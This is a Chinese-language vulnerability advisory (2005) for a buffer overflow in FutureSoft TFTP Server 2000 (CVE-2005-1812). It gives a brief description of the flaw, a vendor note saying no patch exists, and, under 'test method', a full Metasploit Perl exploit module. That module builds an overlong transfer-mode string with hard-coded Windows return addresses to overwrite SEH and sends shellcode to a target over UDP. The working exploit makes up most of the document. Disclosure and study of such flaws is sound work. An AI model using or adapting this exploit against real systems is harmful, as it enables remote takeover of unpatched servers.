发布日期：2005-06-02
更新日期：2005-06-02

受影响系统：

FutureSoft TFTP Server 2000 2000 1.0.0.1

描述：

---

BUGTRAQ  ID: 13821
CVE(CAN) ID: CVE-2005-1812

TFTP Server 2000是一款运行于Windows平台上的TFTP服务器软件，支持所有RFC1350兼容的客户端。

TFTP Server 2000处理畸形文件访问请求时存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞在TFTP服务器上执行任意指令。

文件访问请求中超长的文件名或类型字段会导致服务器发生缓冲区溢出，从而执行攻击者指令的任意指令，获取服务器的控制。

<**>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::futuresoft_tftpd;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {

    'Name'  => 'FutureSoft TFTP Server 2000 Buffer Overflow',
    'Version'  => '$Revision: 1.4 $',
    'Authors' => [ 'y0 [at] w00t-shell.net', ],
    'Arch'  => [ 'x86' ],
    'OS'    => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
    'Priv'  => 0,

    'AutoOpts' => { 'EXITFUNC' => 'process' },
    'UserOpts'  =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 69],
        'SSL'   => [0, 'BOOL', 'Use SSL'],
      },

    'Payload' =>
      {
        'Space'     => 350,
        'BadChars'  => "\x00",
        'Prepend'   => "\x81\xc4\xff\xef\xff\xff\x44",
        'Keys'      => ['+ws2ord'],
      },

    'Description'  => Pex::Text::Freeform(qq{
        This module exploits a stack overflow in the FutureSoft TFTP Server
    2000 product. By sending an overly long transfer-mode string, we were able
    to overwrite both the SEH and the saved EIP. A subsequent write-exception
    that will occur allows the transferring of execution to our shellcode
    via the overwritten SEH. This module has been tested against Windows
    2000 Professional and for some reason does not seem to work against
    Windows 2000 Server (could not trigger the overflow at all).
}),

    'Refs'  =>
      [
          ['OSVDB', '16954'],      
        ['CVE', '2005-1812'],
        ['BID', '13821'],
        ['URL', 'http://www.security.org.sg/vuln/tftp2000-1001.html'],
        ['MIL', '21'],
      ],

    'Targets' =>
      [
        ['Windows 2000 Pro English ALL',   0x75022ac4], # ws2help.dll
        ['Windows XP Pro SP0/SP1 English', 0x71aa32ad], # ws2help.dll
        ['Windows NT SP5/SP6a English',    0x776a1799], # ws2help.dll
        ['Windows 2003 Server English',    0x7ffc0638], # PEB return
      ],
    'Keys' => ['tftpd'],

    'DisclosureDate' => 'May 31 2005',
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

sub Exploit
{
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
    my $target = $self->Targets->[$target_idx];

    if (! $self->InitNops(128)) {
        $self->PrintLine("[*] Failed to initialize the nop module.");
        return;
    }

    my $splat = Pex::Text::AlphaNumText(142);

    my $sploit =
      "\x00\x01". "metasploit.txt". "\x00". $splat.
      "\xeb\x06". pack('V', $target->[1]).
      $shellcode. "\x00";

    $self->PrintLine(sprintf("[*] Trying to exploit target %s w/ return 0x%.8x", $target->[0], $target->[1]));

    my $s = Msf::Socket::Udp->new
      (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
        'LocalPort' => $self->GetVar('CPORT'),
        'SSL'       => $self->GetVar('SSL'),
      );
    if ($s->IsError) {
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return;
    }

    $s->Send($sploit);
    $self->Handler($s);
    $s->Close();
    return;
}

建议：

---

厂商补丁：

FutureSoft
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.futuresoft.com/products/lit-tftp2000.htm

浏览次数：3662
严重程度：0（网友投票）